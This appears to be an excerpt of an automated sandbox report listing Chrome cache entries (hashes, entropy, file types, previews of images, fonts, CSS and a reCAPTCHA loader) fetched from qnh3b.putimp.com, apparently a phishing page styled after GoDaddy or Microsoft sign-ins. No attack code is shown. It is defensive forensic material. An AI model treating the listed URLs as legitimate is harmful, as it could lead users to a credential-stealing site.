SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 104

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/wxE3kHI4ecDaCT9gFpugKXrs1qfSqI4b5zaAgB2RKb0F8Y0eR90180
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 105

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1222), with no line terminators
Category:	downloaded
Size (bytes):	1222
Entropy (8bit):	5.812687833352702
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCLTLv138EgFB5vtTGJTlWtB31ngirLOGsLqo40RWUnYN:VKEctKonR3evtTA8/1/OXLrwUnG
MD5:	3F1B1790C083261F6FD3CF02FB56F2F8
SHA1:	BF1B289456E260CF5C5F0AF7C1B0F4E9BA7EB97B
SHA-256:	A58FF2DE4D6A14E055A553E83A4E67AEA6AAF589A57364305EEC36105CCE9EF3
SHA-512:	99D52B4D79A3B36CDAF0640C37FA504518DAF3C23A2FEAAE6A4966633D5407F1941F726741BE59E25A6726698614D202033BC6BD3D34DD2A352789088C54F0DE
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-eZG8e4nRp0gEpRB75JBNzhS0vVseDRBVprGQYHJN

Chrome Cache Entry: 106

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	727
Entropy (8bit):	7.573165690842521
Encrypted:	false
SSDEEP:	12:6v/70lGN4n6OF/Y9jJ6xmOLY3cyWiJBYmH7xCZm1Uvleq8AM8Tkbc0:HudJ6xU3fWU1HsZm1Wleq8t5b/
MD5:	839CB0F55C3D2D5C2F740BDA95CB2878
SHA1:	93F6FA3A2DA8B7184D4B5C5F2065872793370C2E
SHA-256:	40ECB8832F6A9A8AAA0CC6E1287E867A4FCA38433D091D86C6CAB1F28FBAB652
SHA-512:	ECBCA8AB21BF3302C88F933CFD248CFF5553AFE152A170F554C27FD67BDC3E7D8CE79E202561FD0658E41820681EB90F74E38FD09390C517AFB34D2C1B65A096
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/qrqUFMIq9b9JbPpLrgAmn4ulS1Tb9UGwjH3M445136
Preview:	.PNG........IHDR...0...0.....W.......IDAThC.Q.1.E.......`... .............T...:....7r....sw;Y.h..dK__.........M.v.....@a....j..P.;..K....^%..m...Nn.......y..l.]@..z.T..X..e...DZ.$Y......o`.L@`..r.0...s8Bd...1..M.=.A...a.'./...O....@4.mk..2.\..H.ER...e....s...`._.;..5n...X\|o..K....w...8........i8L..6P\|r9.=!...j..........~X{.Y.5X....4...v.Z.&.... ..)..ZXJ.8..... ..-p.9t.N...r.[..t....=\ >pLg%m..@........8o.).%..S...d.E\|%.......5.p..QK0Z<...0...:Q...<.m^<.y....7..#r..Qm...DZ..}.5.c.&.....0..Wr.....w.f-.n... .-..,l..0..3...E..4k.~..Y.B:t.*}.L..z..U.b......s............w.(......jt.Z5.7..8........0...?..1.w."&......8j.5vO.<..OgSM.j%..u..E=:..XJ==.....(...30.(....O)41P.....pkQ@f.S.....IEND.B`.

Chrome Cache Entry: 107

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1437), with CRLF line terminators
Category:	downloaded
Size (bytes):	38221
Entropy (8bit):	5.115226983536052
Encrypted:	false
SSDEEP:	192:loogIexLQ5WKTCFBwCIZtJ8FtX2+UBRkfeWcrScuH9Ye3YdersR8Q5oqWjf7ogxp:2DKAaZtJs5odw7hx5P6mqjDggJkLLn
MD5:	FBE2FCF4596B299453C91B7231BA7427
SHA1:	743291EE60A551E043529AFDC9E3FBE72D70E776
SHA-256:	2DE22B4CDEDCBEB9CD5F63EA7A0DF8F77D0EF9086D200B052BFA9EE949DEED40
SHA-512:	15CA09CD5754927D77B2CC9B74356585C5A1DD934ECF25B613F47964236A739DA8BE389999DE1AEEE7BDF8FA12FCBB07EEFF49E0EA80BA87AC786606DE74774F
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/absIDHZ3sTrsARG5gh30
Preview:	@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 400;src: url('/web8/assets/fonts/GDSherpa-regular.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-regular.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 999;src: url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;src: url('/web8/ass

Chrome Cache Entry: 65

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.573165690842521
Encrypted:	false
SSDEEP:	12:6v/70lGN4n6OF/Y9jJ6xmOLY3cyWiJBYmH7xCZm1Uvleq8AM8Tkbc0:HudJ6xU3fWU1HsZm1Wleq8t5b/
MD5:	839CB0F55C3D2D5C2F740BDA95CB2878
SHA1:	93F6FA3A2DA8B7184D4B5C5F2065872793370C2E
SHA-256:	40ECB8832F6A9A8AAA0CC6E1287E867A4FCA38433D091D86C6CAB1F28FBAB652
SHA-512:	ECBCA8AB21BF3302C88F933CFD248CFF5553AFE152A170F554C27FD67BDC3E7D8CE79E202561FD0658E41820681EB90F74E38FD09390C517AFB34D2C1B65A096
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......IDAThC.Q.1.E.......`... .............T...:....7r....sw;Y.h..dK__.........M.v.....@a....j..P.;..K....^%..m...Nn.......y..l.]@..z.T..X..e...DZ.$Y......o`.L@`..r.0...s8Bd...1..M.=.A...a.'./...O....@4.mk..2.\..H.ER...e....s...`._.;..5n...X\|o..K....w...8........i8L..6P\|r9.=!...j..........~X{.Y.5X....4...v.Z.&.... ..)..ZXJ.8..... ..-p.9t.N...r.[..t....=\ >pLg%m..@........8o.).%..S...d.E\|%.......5.p..QK0Z<...0...:Q...<.m^<.y....7..#r..Qm...DZ..}.5.c.&.....0..Wr.....w.f-.n... .-..,l..0..3...E..4k.~..Y.B:t.*}.L..z..U.b......s............w.(......jt.Z5.7..8........0...?..1.w."&......8j.5vO.<..OgSM.j%..u..E=:..XJ==.....(...30.(....O)41P.....pkQ@f.S.....IEND.B`.

Chrome Cache Entry: 66

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 67

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2446 x 899, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	70712
Entropy (8bit):	6.94130504124589
Encrypted:	false
SSDEEP:	768:lBgPNoDCQcgEBtp8Y/fYous0+W/+hVNpTrP19NhgtJ+6qcHaDCzGoSRug:lBgC+Qoju/szW/SNDaJ+6qc6DESR5
MD5:	F70FF06D19498D80B130EC78176FD3FF
SHA1:	9D8A3B74C5164FF7AE2C7930B6D7B14707B404FC
SHA-256:	DF6DBAB5251E56B405E48AAF57D3CD4188F073FFBA71131FA6CD26E6742923AE
SHA-512:	543151693C3751A7E6B1B6A9EA77B83CFD049BC320EE75B666514076F4C0218E9DC23DA5E6C932B2B8670AA1BE1D4E9A91A889F5C6F0D7B9F9C9FE6694609B31
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................... .IDATx....q......!8.on.....{....4{..{U.A!x...t3P.~.S86...N....7USM....p.".?..>.G....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @.......

Chrome Cache Entry: 68

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 69

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 36696, version 1.0
Category:	downloaded
Size (bytes):	36696
Entropy (8bit):	7.988666025644622
Encrypted:	false
SSDEEP:	768:lvJo4KciQZYjebVq19lKPtHAQ/l4rj2bqkiHShpeSUOR4OqWOgaU:lhH3rVq1PKP432tSSh4SUORHqWcU
MD5:	A69E9AB8AFDD7486EC0749C551051FF2
SHA1:	C34E6AA327B536FB48D1FE03577A47C7EE2231B8
SHA-256:	FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
SHA-512:	9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/23CP8hhTkYf7i1Y7Cu2889TsquUI9xy70
Preview:	wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z\|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.\|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......\|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... gM..h.....Q!}B...Q.m.M...R.5.JUi..U_5@]..PW...5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.V..j.Z...j..BJ.._Pw..0..f...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e\|......B>....1.a,.D.Ej..(.

Chrome Cache Entry: 70

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23398), with no line terminators
Category:	downloaded
Size (bytes):	23398
Entropy (8bit):	5.104409455331282
Encrypted:	false
SSDEEP:	384:ztafGtz2omXX44PL5Ky0sdY8xbXnb4YEb0tkBSgfn:hafSz2omXX44PL5Ky0sdY8xbXnEYw0sz
MD5:	C1C51D30D5E7094136F2D828349E520F
SHA1:	10AE8971AD7A8798BC9732707FE4896B57541557
SHA-256:	0C55057782E3B346C2B819574BFA916852BC8AC5BB4E01D56E8FBFFC22043C98
SHA-512:	7CF90E58A309B53DB53570129780E0ABCEFA2802C1A6441C1A4B49DC265DF617220DC1072CEBDAE7A74C3CA85F5D87B606503BD48A60E049372BE5CAF39969F7
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/56FMAGab1x5X48912
Preview:	,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit},input{margin:0}.p,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_pdf a{color:#fff;text-deco

Chrome Cache Entry: 71

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 72

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2160 x 443, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	49602
Entropy (8bit):	7.881935507115631
Encrypted:	false
SSDEEP:	768:eKE36up1D3cLJg7zmjprNBQqJCoklwCeFrpKZ00PIwoftXEsQsV1kZ8IHml446Xe:KqupJ9+aqyqCz+0ALcmDIHnjL2p
MD5:	DB783743CD246FF4D77F4A3694285989
SHA1:	B9466716904457641B7831868B47162D8D378D41
SHA-256:	5913B1EC0FC58AB2BEC576804B9E9B566A584EA3D21A1BF74A7B40051A447FDC
SHA-512:	E6F36C52996B6BF8B07C7A102DEF2D555A1D35FA12F1A2016EDD8F3C86C33DD3545513B436AB6B4EF1D1CAD8A5CA5D352BA587EEE605638640B258C3976D9033
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...p..........{......sBIT....\|.d.....pHYs..;...;...3.+....tEXtSoftware.www.inkscape.org..<... .IDATx...w.]U....L.I(!.B..J..R....PD.z-.(...4Q..MQ. .(..EE.AP:.....HI.... ....ur3..r.Y.\|....z..3.2.g..{..Y.V..6.u...U...Q.Z.X......m..........^......O.^l......Y.)`\|...:......x.:."0r...H.W.....,.......j.....L%]s../4.>.<.........S.$I.$I.$I.T.....(`s`S`.`C`mR..J...6.x.x.x..z9.......g..j}R...h.1.t]=....n..#.f.I.$I.$I.$I%c.G.. 5il.l.lCj.(S.F;.....7...AZ.@B....%.E....C.be3..K....S."CI.$I.$I.$I...jV.v.v.v$5l..M.ysI......x{/i...Y...o..m.......v.6.>R..$I.$I.$I.......F.{..6v!...1{.Y..9ng...S..TF.I..;.o&5A.....&.w....$5J..M$I.$I.$I.$.........Q;..IQ...9n.nl.Z.e.......j.`hd..{..=p-p=n."I.$I.$I.$eg.G...........8...i......b. [.{.V.........V...96GI.$I.$I.$IY...c ..R...Q.q..,..........Gm........X=6NW......clp.I.$I.$I.$IZ..g...s...c...F.A.<z*.Q.a...+.?....8.Xn.GO.$I.$I.$I..,O.l....@.....z.....R..a$.:...I.yb-....l....$I.$I.$I.$.....$.'S..j.p..3NBGX..M.3.?.......p$I.$

Chrome Cache Entry: 73

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2446 x 899, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	70712
Entropy (8bit):	6.94130504124589
Encrypted:	false
SSDEEP:	768:lBgPNoDCQcgEBtp8Y/fYous0+W/+hVNpTrP19NhgtJ+6qcHaDCzGoSRug:lBgC+Qoju/szW/SNDaJ+6qc6DESR5
MD5:	F70FF06D19498D80B130EC78176FD3FF
SHA1:	9D8A3B74C5164FF7AE2C7930B6D7B14707B404FC
SHA-256:	DF6DBAB5251E56B405E48AAF57D3CD4188F073FFBA71131FA6CD26E6742923AE
SHA-512:	543151693C3751A7E6B1B6A9EA77B83CFD049BC320EE75B666514076F4C0218E9DC23DA5E6C932B2B8670AA1BE1D4E9A91A889F5C6F0D7B9F9C9FE6694609B31
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/stwgt99Sy67fohdZsxX40uDyhgxawMl0DLWKGHLTQ6P8y0JcmnSfKqVoctw10GtltrTR6rXbtBfGvtIj6mw8GmRBagh251
Preview:	.PNG........IHDR................... .IDATx....q......!8.on.....{....4{..{U.A!x...t3P.~.S86...N....7USM....p.".?..>.G....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @.......

Chrome Cache Entry: 74

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:	24:rIcdIg4GFKiUqLRfqX5Cbg2tRSpGHM0RMrB6nzU9Jd28VVdYfWZG0rrZgqhpT:rHUZGRNEoSpGHMTrB6zUXdNVSi1b
MD5:	333EE830E5AB72C41DD9126A27B4D878
SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/ijbIVlkpv2ZZTygLSxZT6ZwNiSvLwJN9cjzfwH2xIb9389Eki8BUsphIffC6v2wjCab230
